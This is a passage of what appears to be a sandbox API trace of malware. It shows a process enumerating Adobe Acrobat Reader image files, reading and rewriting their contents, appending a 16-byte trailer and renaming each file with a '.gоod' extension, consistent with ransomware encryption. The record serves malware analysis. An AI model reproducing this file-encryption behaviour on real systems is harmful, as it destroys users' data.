lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png", lpFilePart=0x0) returned 0x72 [0125.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png.gоod", lpFilePart=0x0) returned 0x77 [0125.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0125.974] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions2x.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x474bc1d9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe10)) returned 1 [0125.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0125.974] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\selection-actions2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\selection-actions2x.png.gоod")) returned 1 [0125.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0125.978] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types", lpFilePart=0x0) returned 0x65 [0125.978] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.457] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.457] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6358, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1 [0126.457] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x74ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1 [0126.458] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 1 [0126.458] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0126.458] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0126.458] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0126.458] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0126.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0126.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0126.459] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types", lpFilePart=0x0) returned 0x65 [0126.459] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.460] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.460] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6358, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1 [0126.460] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x74ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1 [0126.461] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 1 [0126.461] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0126.461] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0126.461] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.461] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0126.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0126.462] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", lpFilePart=0x0) returned 0x78 [0126.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0126.462] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x3b35980 | out: lpFileInformation=0x3b35980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6358)) returned 1 [0126.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0126.463] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", lpFilePart=0x0) returned 0x78 [0126.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0126.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0126.464] GetFileType (hFile=0x630) returned 0x1 [0126.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0126.464] GetFileType (hFile=0x630) returned 0x1 [0126.464] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x1000 [0126.464] ReadFile (in: hFile=0x630, lpBuffer=0x3b35f10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba58, lpOverlapped=0x0 | out: lpBuffer=0x3b35f10*, lpNumberOfBytesRead=0x1fdeba58*=0x1000, lpOverlapped=0x0) returned 1 [0126.465] CloseHandle (hObject=0x630) returned 1 [0126.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", lpFilePart=0x0) returned 0x78 [0126.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0126.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0126.466] GetFileType (hFile=0x630) returned 0x1 [0126.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0126.466] GetFileType (hFile=0x630) returned 0x1 [0126.466] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x6358 [0126.466] WriteFile (in: hFile=0x630, lpBuffer=0x3b37318*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeb978, lpOverlapped=0x0 | out: lpBuffer=0x3b37318*, lpNumberOfBytesWritten=0x1fdeb978*=0x10, lpOverlapped=0x0) returned 1 [0126.467] CloseHandle (hObject=0x630) returned 1 [0126.467] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", lpFilePart=0x0) returned 0x78 [0126.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0126.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0126.467] GetFileType (hFile=0x630) returned 0x1 [0126.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0126.467] GetFileType (hFile=0x630) returned 0x1 [0126.468] ReadFile (in: hFile=0x630, lpBuffer=0x3b39648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba08, lpOverlapped=0x0 | out: lpBuffer=0x3b39648*, lpNumberOfBytesRead=0x1fdeba08*=0x1000, lpOverlapped=0x0) returned 1 [0126.967] CloseHandle (hObject=0x630) returned 1 [0126.967] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", lpFilePart=0x0) returned 0x78 [0126.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0126.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0126.967] GetFileType (hFile=0x630) returned 0x1 [0126.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0126.967] GetFileType (hFile=0x630) returned 0x1 [0126.967] WriteFile (in: hFile=0x630, lpBuffer=0x34011c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdebab8, lpOverlapped=0x0 | out: lpBuffer=0x34011c8*, lpNumberOfBytesWritten=0x1fdebab8*=0x1010, lpOverlapped=0x0) returned 1 [0126.968] CloseHandle (hObject=0x630) returned 1 [0126.968] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png", lpFilePart=0x0) returned 0x78 [0126.968] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png.gоod", lpFilePart=0x0) returned 0x7d [0126.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0126.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x47e456ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6368)) returned 1 [0126.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0126.968] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons.png.gоod")) returned 1 [0126.969] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x85 [0126.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0126.969] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x35eb1d0 | out: lpFileInformation=0x35eb1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x74ac)) returned 1 [0127.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0127.152] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x85 [0127.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0127.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.152] GetFileType (hFile=0x630) returned 0x1 [0127.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0127.153] GetFileType (hFile=0x630) returned 0x1 [0127.153] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x1000 [0127.153] ReadFile (in: hFile=0x630, lpBuffer=0x34c8498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba58, lpOverlapped=0x0 | out: lpBuffer=0x34c8498*, lpNumberOfBytesRead=0x1fdeba58*=0x1000, lpOverlapped=0x0) returned 1 [0127.196] CloseHandle (hObject=0x630) returned 1 [0127.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x85 [0127.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0127.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\aic_file_icons_retina_thumb.png"), 